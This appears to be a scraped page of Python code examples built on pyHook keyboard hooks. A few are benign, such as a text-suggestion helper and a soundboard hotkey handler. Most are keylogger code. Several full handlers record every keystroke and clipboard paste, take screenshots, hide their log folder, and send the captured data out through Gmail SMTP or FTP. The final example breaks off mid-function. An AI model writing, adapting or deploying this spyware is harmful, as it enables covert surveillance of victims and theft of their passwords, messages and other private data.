def suggestion_action_handeler(event):
    last_char = event.Key

    if last_char == 'Insert':
        global index_of_suggestion_sentence
        index_of_suggestion_sentence += 1

        suggestion_1 = ' '.join(
            suggest_sentence[0:index_of_suggestion_sentence + 1])
        suggestion_2 = ' '.join(suggest_sentence[index_of_suggestion_sentence +
                                                 1:7])

        suggestions[6] = suggestion_1
        suggestions[7] = suggestion_2

        updateGui()

    for i in range(8):
        if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')
                       ) and HookConstants.IDToName(event.KeyID) == str(i):
            global disabled
            disabled = True
            global current_word
            del_current_word(current_word)

            # for j in range(8):
            #     print('$'+suggestions[j]+'$')

            global suggestions
            print_on("", suggestions[i] + ' ')
            # print(suggestions[i])

            disabled = False
Пример #2
0
        def OnKeyboardEvent(event):
        # ctrl v

            if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
                win32clipboard.OpenClipboard()
                pasted_value = " [***CTRL+V***] " + win32clipboard.GetClipboardData() + " [END CTRL+V] "
                win32clipboard.CloseClipboard()
            else :
                pasted_value = ''

                FORMAT = '%(asctime)-15s %(message)s'
                logging.basicConfig(filename= logfile,
                                    level=logging.DEBUG, 
                                    format=FORMAT,
                                    filemode='a')
                logging.log(10,str(event.WindowName) + " " + str(event.Key) + pasted_value)

                provatesto = str(event.Key)
                # print provatesto
                return True        
Пример #3
0
    def onKeyboardEvent(self, event):
        # in case you want to debug: uncomment1111 next line
        # print repr(event), event.KeyID, HookConstants.IDToName(event.KeyID), event.ScanCode , event.Ascii, event.flags
        #    if GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) and event.KeyID == HookConstants.VKeyToID('VK_SNAPSHOT'):
        #        print("shift + snapshot pressed")
        #    elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'D':
        #        print("ctrl + d pressed")
        keyStr = HookConstants.IDToName(event.KeyID).lower()
        #print(keyStr)
        if ("decimal" in keyStr) or ("oem_period" in keyStr):
            # Numpad period is "decimal"
            # Toggle using virtual cable / default audio device
            self.useVirtualCable = (not self.useVirtualCable)
        if "subtract" in keyStr:
            self.quitProgram()
            return True
        if "add" in keyStr:
            # Cancel path navigation, return to top
            self.currentFolder = self.baseFolder
            return True
        if "numpad" in keyStr:
            keyNum = keyStr[-1]
            if (keyNum != "0"):
                self.currentFolder = self.checkDirectory(
                    os.listdir(self.currentFolder), keyNum)
                #print("Moved into folder: " + self.currentFolder)
                return True
            elif "0" in keyStr:
                # Search below current folder for all .wav files and play one randomly
                randomWav = self.getRandomWav(self.currentFolder)
                self.playWav(randomWav)
                #thread = Thread(target=self.playWav,args=(randomWav    ,) )
                #thread.start()
                self.currentFolder = self.baseFolder
                return True

        return True
Пример #4
0
def KeyDownEvent(event):
    get_current_process()

    ctrl_pressed = GetKeyState(HookConstants.VKeyToID('VK_CONTROL'))
    shift_pressed = GetKeyState(HookConstants.VKeyToID('VK_SHIFT'))
    caps_lock = GetKeyState(HookConstants.VKeyToID('VK_CAPITAL'))

    key = HookConstants.IDToName(event.KeyID)
    output = ""

    # Handle CTRL+[] shortcuts.
    if ctrl_pressed and "control" not in key:
        if key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            output = "\r\nCTRL+{} Contents:\r\n\r\n{}\r\n".format(
                key, pasted_value)
        else:
            output = "CTRL+{}".format(key)
    # Handle SHIFT modifiable keys.
    elif key in shift_keys:
        if shift_pressed:
            output = shift_keys[key][1]
        else:
            output = shift_keys[key][0]
    # Handle capitalized keys.
    elif (shift_pressed and not caps_lock) or \
         (caps_lock and not shift_pressed):
        output = key.upper()
    else:
        output = key.lower()

    print("[{}]".format(output), end="", flush=True)

    # Pass execution to next hook registered
    return True
Пример #5
0
def OnKeyboardEvent(event):
    global strLogs, objTimer, intLogChars, objTimer2
    try:  # check to see if variable is defined
        strLogs
    except NameError:
        strLogs = ""

    def SendMessages(strLogs, strEmailAc, strEmailPass, strExIP):
        global blnFirstSend  # easier to just define this variable to be global within the functions
        try:
            if blnFirstSend == "True":
                strMessage = "Keylogger Started At: " + time.strftime(
                    "%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n"
                blnFirstSend = "False"
            else:
                strMessage = ""

            if os.path.isfile(
                    strLogPath
            ):  # if there are old logs that need to be sent, add them to message
                objFile = open(strLogPath, "r")
                strOldLogs = objFile.read()
                objFile.close()

                strMessage += strOldLogs + strLogs
                os.remove(strLogPath)  # delete old log file
            else:
                strMessage += strLogs

            strEmail = "Subject: {}\n\n{}".format(
                "New Keylogger Logs From " + strExIP + " " + strHostname,
                strMessage)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            SmtpServer.ehlo()  # identifies you to the smtp server
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, strEmail)
            SmtpServer.close()
        except:  # if the logs cannot be sent, save them to txt file to try again later
            if not os.path.isdir(
                    cPuffDir):  # if the screen dir doesnt exist, create it
                os.makedirs(cPuffDir)
                subprocess.Popen(["attrib", "+H",
                                  cPuffDir])  # make folder hidden

            if not os.path.isfile(strLogPath):
                objFile = open(strLogPath, "w")
            else:
                objFile = open(strLogPath, "a")

            objFile.write(strMessage)
            objFile.close()

    def StoreMessagesLocal(strLogs):
        global blnFirstSend
        # log keys locally
        if os.path.isfile(strLogFile):
            objLogFile = open(strLogFile, 'a')
        else:
            objLogFile = open(strLogFile, 'w')
        if blnFirstSend == "True":
            objLogFile.write("\n" + "Keylogger Started At: " +
                             time.strftime("%d/%m/%Y") + " " +
                             time.strftime("%I:%M:%S") + "\n\n")
            blnFirstSend = "False"
        objLogFile.write(strLogs)
        objLogFile.close()

    def CreateNewThreadMessages(
    ):  # function for creating thread for sending messages
        if not strLogs == "":
            if blnStoreLocal == "True":
                StoreLogThread = threading.Thread(target=StoreMessagesLocal,
                                                  args=[strLogs])
                StoreLogThread.daemon = True
                StoreLogThread.start()
            else:
                SendMailThread = threading.Thread(
                    target=SendMessages,
                    args=([strLogs, strEmailAc, strEmailPass, strExIP]))
                SendMailThread.daemon = True
                SendMailThread.start()

    def SendScreen(
    ):  # function to send screens (easier to do this as a new function)
        try:
            objMsg = MIMEMultipart()
            objMsg["Subject"] = "New Screenshot From " + strExIP

            for strScrPath in os.listdir(cPuffDir):  # add files to the message
                strScrFullPath = cPuffDir + "/" + strScrPath
                img = MIMEImage(file(strScrFullPath, "rb").read())
                img.add_header('Content-Disposition',
                               'attachment',
                               filename=strScrPath)
                objMsg.attach(img)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            SmtpServer.ehlo()
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string())
            SmtpServer.close()
        except:  # if the screen cannot send, pass and try again later
            pass
        else:
            for strScrPath in os.listdir(cPuffDir):
                os.remove(
                    cPuffDir + "/" + strScrPath
                )  # if the screenshot(s) sent successfully, remove them

    def TakeScr():  # function to take screenshot
        if blnStoreLocal == "True":
            threading.Thread(pyscreeze.screenshot().save(
                time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start()
        else:
            if not os.path.isdir(
                    cPuffDir):  # if the screen dir doesnt exist, create it
                os.makedirs(cPuffDir)
                subprocess.Popen(["attrib", "+H",
                                  cPuffDir])  # make folder hidden

            strScrPath = time.strftime(
                cPuffDir + "/%Y%m%d%H%M%S" +
                ".png")  # save screenshot with datetime format
            threading.Thread(pyscreeze.screenshot().save(strScrPath)).start()
            SendScreenThread = threading.Thread(target=SendScreen)
            SendScreenThread.daemon = True
            SendScreenThread.start()

    # ctrl Lshift, rshift, h to stop program
    if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and \
            GetKeyState(HookConstants.VKeyToID("VK_LSHIFT")) and HookConstants.IDToName(event.KeyID) == "H":
        exit(0)

    if event.Ascii == 8:
        strLogs = strLogs + " [Bck] "
    elif event.Ascii == 9:
        strLogs = strLogs + " [Tab] "
    elif event.Ascii == 13:
        strLogs = strLogs + "\n"
    elif event.Ascii == 0:  # if the key is a special key such as alt, win, etc. Pass
        pass
    else:
        intLogChars += 1
        strLogs = strLogs + chr(event.Ascii)

    if blnUseTime == "True":  # if the user is sending messages by timer
        if not objTimer.is_alive():  # check to see if the timer is not active
            objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages)
            objTimer.daemon = True
            objTimer.start()
            strLogs = ""
            intLogChars = 0
    else:
        if intLogChars >= intCharPerSend:  # send/save message if log is certain length
            CreateNewThreadMessages()
            strLogs = ""
            intLogChars = 0

    if blnScrShot == "True":  # if the user is capturing screenshots
        if not objTimer2.is_alive():
            objTimer2 = threading.Timer(intScrTime, TakeScr)
            objTimer2.daemon = True
            objTimer2.start()

    return True  # return True to pass key to windows
Пример #6
0
def OnKeyboardEvent(event):
    global strLogs, objTimer, intLogChars, objTimer2
    try:  # check to see if variable is defined
        strLogs
    except NameError:
        strLogs = ""

    def SendMessages(strLogs, strEmailAc, strEmailPass, blnStop, strExIP):
        global blnFirstSend  # easier to just define this variable to be global within the functions
        try:
            if blnStop == "True":
                strDateTime = "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
                strMessage = strDateTime + "\n\n" + strLogs
            elif blnFirstSend == "True":
                strDateTime = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
                strMessage = strDateTime + "\n\n" + strLogs
                blnFirstSend = "False"
            else:
                strMessage = strLogs

            strMessage = "Subject: {}\n\n{}".format("New Keylogger Logs From "+strExIP, strMessage)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            SmtpServer.ehlo()   # identifies you to the smtp server
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, strMessage)
            SmtpServer.close()
        except:
            os._exit(1)  # if for some reason, the email cannot send, exit program including threads.

    def SendMessagesFTP(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop):
        global blnFirstSend
        try:
            ftp = FTP(); ftp.connect(strFtpServer, 21)
            ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath)
            # connect to ftp server

            TMP = os.environ["TEMP"]
            objLogFile = open(TMP + "/log.txt", 'w')
            if blnStop == "True":
                objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            elif blnFirstSend == "True":
                objLogFile.write("\n" +"Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
                blnFirstSend = "False"
            objLogFile.write(strLogs)
            objLogFile.close()
            # create log file

            arFileList = ftp.nlst()
            if "log.txt" in arFileList:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("APPE log.txt", objLogFile)
            else:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("STOR log.txt", objLogFile)
            objLogFile.close(); ftp.close()
            objLogFile = open(TMP + "/log.txt", 'w'); objLogFile.close()  # delete log file contents
        except:
            os._exit(1)

    def StoreMessagesLocal(strLogs, blnStop):
        global blnFirstSend
        # log keys locally
        if os.path.isfile(strLogFile):
            objLogFile = open(strLogFile, 'a')
        else:
            objLogFile = open(strLogFile, 'w')
        if blnStop == "True":
            objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
        elif blnFirstSend == "True":
            objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            blnFirstSend = "False"
        objLogFile.write(strLogs)
        objLogFile.close()

    def CreateNewThreadMessages():  # function for creating thread for sending messages
        if not strLogs == "":
            if blnStoreLocal == "True":
                StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, blnStop))
                StoreLogThread.start()
            elif blnFTP == "True":
                SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop))
                SendFTPThread.start()
            else:
                SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, blnStop, strExIP))
                SendMailThread.start()

    def SendScreen():  # function to send screens (easier to do this as a new function)
        if blnFTP == "True":
            try:
                ftp = FTP(); ftp.connect(strFtpServer, 21)
                ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath)
                objScrFile = open(strScrPath, "rb")
                ftp.storbinary("STOR " + strScrPath.split("/")[1], objScrFile)  # copy image to ftp
                objScrFile.close(); ftp.close()
            except:
                pass  # pass to try again later
        else:
            try:
                objMsg = MIMEMultipart()
                objMsg["Subject"] = "New Screenshot From " + strExIP
                img = MIMEImage(file(strScrPath, "rb").read())
                # attach image as original file name
                img.add_header("Content-Disposition", "attachment; filename= %s" % strScrPath.split("/")[1])
                objMsg.attach(img)
                SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465); SmtpServer.ehlo()
                SmtpServer.login(strEmailAc, strEmailPass)
                SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string())
                SmtpServer.close()
            except:
                pass
        os.remove(strScrPath)  # delete file after sending

    def TakeScr():  # function to take screenshot
        if blnStoreLocal == "True":
            threading.Thread(pyautogui.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start()
        else:
            global strScrPath
            TMP = os.environ["TEMP"]
            strScrPath = time.strftime(TMP + "/%Y%m%d%H%M%S" + ".png")  # save screenshot with datetime format
            threading.Thread(pyautogui.screenshot().save(strScrPath)).start()
            SendScreenThread = threading.Thread(target=SendScreen)
            SendScreenThread.start()

    if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and HookConstants.IDToName(event.KeyID) == "H":
        # CTRL-RIGHT_SHIFT-H to stop the program
        if blnStoreLocal == "True":
            StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, "True"))
            StoreLogThread.start()
        elif blnFTP == "True":
            SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, "True"))
            SendFTPThread.start()
        else:
            SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, "True", strExIP))
            SendMailThread.start()
        exit()

    if event.Ascii == 8:
        if blnBackRemove == "True":
            if not strLogs == "":
                if intLogChars > 0:
                    strLogs = strLogs[0:len(strLogs) - 1]
        else:
            strLogs = strLogs + " [BckSpace] "
    elif event.Ascii == 9:
        strLogs = strLogs + " [Tab] "
    elif event.Ascii == 0:  # if the key is a special key such as alt, win, etc. Pass
        pass
    else:
        intLogChars += 1
        strLogs = strLogs + chr(event.Ascii)

    if blnUseTime == "True":  # if the user is sending messages by timer
        if not objTimer.is_alive():  # check to see if the timer is not active
            objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages)
            objTimer.start()
            strLogs = ""; intLogChars = 0
    else:
        if intLogChars >= intCharPerSend:  # send/save message if log is certain length
            CreateNewThreadMessages()
            strLogs = ""; intLogChars = 0

    if blnScrShot == "True":  # if the user is capturing screenshots
        if not objTimer2.is_alive():
            objTimer2 = threading.Timer(intScrTime, TakeScr)
            objTimer2.start()
    return True  # return True to pass key to windows
Пример #7
0
 def get_key_combo_code(self):
     # find some way of encoding the presses.
     return '+'.join(
         [HookConstants.IDToName(key) for key in self.keys_held])
Пример #8
0
def OnKeyboardEvent(event):
    global strLogs, objTimer, intLogChars
    try:  # check to see if variable is defined
        strLogs
    except NameError:
        strLogs = ""

    def SendMessages(strLogs, strEmailAc, strEmailPass, blnStop, strExIP):
        try:
            if blnStop == "True":
                strDateTime = "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
            else:
                strDateTime = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
            strMessage = strDateTime + "\n\n" + strLogs
            strMessage = "Subject: {}\n\n{}".format("New Keylogger Logs From "+strExIP, strMessage)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            SmtpServer.ehlo()   # identifies you to the smtp server
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, strMessage)
        except:
            os._exit(1)  # if for some reason, the email cannot send, exit program including threads.

    def SendMessagesFTP(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop):
        try:
            ftp = FTP(); ftp.connect(strFtpServer, 21)
            ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath)
            # connect to ftp server

            TMP = os.environ["TEMP"]
            objLogFile = open(TMP + "/log.txt", 'w')
            if blnStop == "True":
                objLogFile.write("\n\n"+"Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")+"\n\n")
            else:
                objLogFile.write("\n\n"+"Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            objLogFile.write(strLogs); objLogFile.close()
            # create log file

            arFileList = ftp.nlst()
            if "log.txt" in arFileList:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("APPE log.txt", objLogFile)
            else:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("STOR log.txt", objLogFile)
            objLogFile.close()
            # send log file
        except:
            os._exit(1)

    def StoreMessagesLocal(strLogs, blnStop):
        # log keys locally
        if os.path.isfile(strLogFile):
            objLogFile = open(strLogFile, 'a')
        else:
            objLogFile = open(strLogFile, 'w')
        if blnStop == "True":
            objLogFile.write("\n\n""Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
        else:
            objLogFile.write("\n\n""Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
        objLogFile.write(strLogs); objLogFile.close()

    if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and HookConstants.IDToName(event.KeyID) == "H":
        # CTRL-RIGHT_SHIFT-H to stop the program
        if blnStoreLocal == "True":
            StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, "True"))
            StoreLogThread.start()
        elif blnFTP == "True":
            SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, "True"))
            SendFTPThread.start()
        else:
            SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, "True", strExIP))
            SendMailThread.start()
        exit()

    if event.Ascii == 8:
        if blnBackRemove == "True":
            if not strLogs == "":
                strLogs = strLogs[0:len(strLogs) - 1]
        else:
            strLogs = strLogs + " [BckSpace] "
    elif event.Ascii == 9:
        strLogs = strLogs + " [Tab] "
    elif event.Ascii == 0:  # if the key is a special key such as alt, win, etc. Pass
        pass
    else:
        intLogChars += 1
        strLogs = strLogs + chr(event.Ascii)

    def CreateNewThreadMessages():  # function for creating thread for sending messages
        if not strLogs == "":  # if the log is not empty
            if blnStoreLocal == "True":
                StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, blnStop))
                StoreLogThread.start()
            elif blnFTP == "True":
                SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop))
                SendFTPThread.start()
            else:
                SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, blnStop, strExIP))
                SendMailThread.start()

    if blnUseTime == "True":  # if the user is sending messages by timer
        if not objTimer.is_alive():  # check to see if the timer is not active
            objTimer = threading.Timer(strTimePerSend, CreateNewThreadMessages)
            objTimer.start()
            strLogs = ""; intLogChars = 0
    else:
        if intLogChars >= intCharPerSend:  # send/save message if log is certain length
            CreateNewThreadMessages()
            strLogs = ""; intLogChars = 0
    return True
Пример #9
0
 def keypressed(self, event):
     global x, data
     # print repr(event), event.KeyID, HookConstants.IDToName(event.KeyID), event.ScanCode , event.Ascii, event.flags
     if event.Ascii == 13:
         keys = '<ENTER>\n'
     elif event.Ascii == 8:
         keys = '<BACK SPACE>'
     elif event.Ascii == 9:
         keys = '<TAB>'
     elif HookConstants.IDToName(event.KeyID) == 'Delete':
         keys = '<DEL>'
     elif event.Ascii == 32:
         keys = ' '
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '1':
         keys = '!'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '2':
         keys = '@'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '3':
         keys = '#'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '4':
         keys = '$'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '5':
         keys = '%'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '6':
         keys = '^'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '7':
         keys = '&'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '8':
         keys = '*'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '9':
         keys = '('
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '0':
         keys = ')'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Minus':
         keys = '_'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Plus':
         keys = '+'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_3':
         keys = '~'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_5':
         keys = '|'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_6':
         keys = '}'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_4':
         keys = '{'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_7':
         keys = '"'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_1':
         keys = ':'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_2':
         keys = '?'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Period':
         keys = '>'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Comma':
         keys = '<'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'A':
         keys = 'A'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'B':
         keys = 'B'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'C':
         keys = 'C'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'B':
         keys = 'D'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'E':
         keys = 'E'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'F':
         keys = 'F'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'G':
         keys = 'G'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'H':
         keys = 'H'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'I':
         keys = 'I'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'J':
         keys = 'J'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'K':
         keys = 'K'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'L':
         keys = 'L'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'M':
         keys = 'M'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'N':
         keys = 'N'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'O':
         keys = 'O'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'P':
         keys = 'P'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Q':
         keys = 'Q'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'R':
         keys = 'R'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'S':
         keys = 'S'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'T':
         keys = 'T'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'U':
         keys = 'U'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'V':
         keys = 'V'
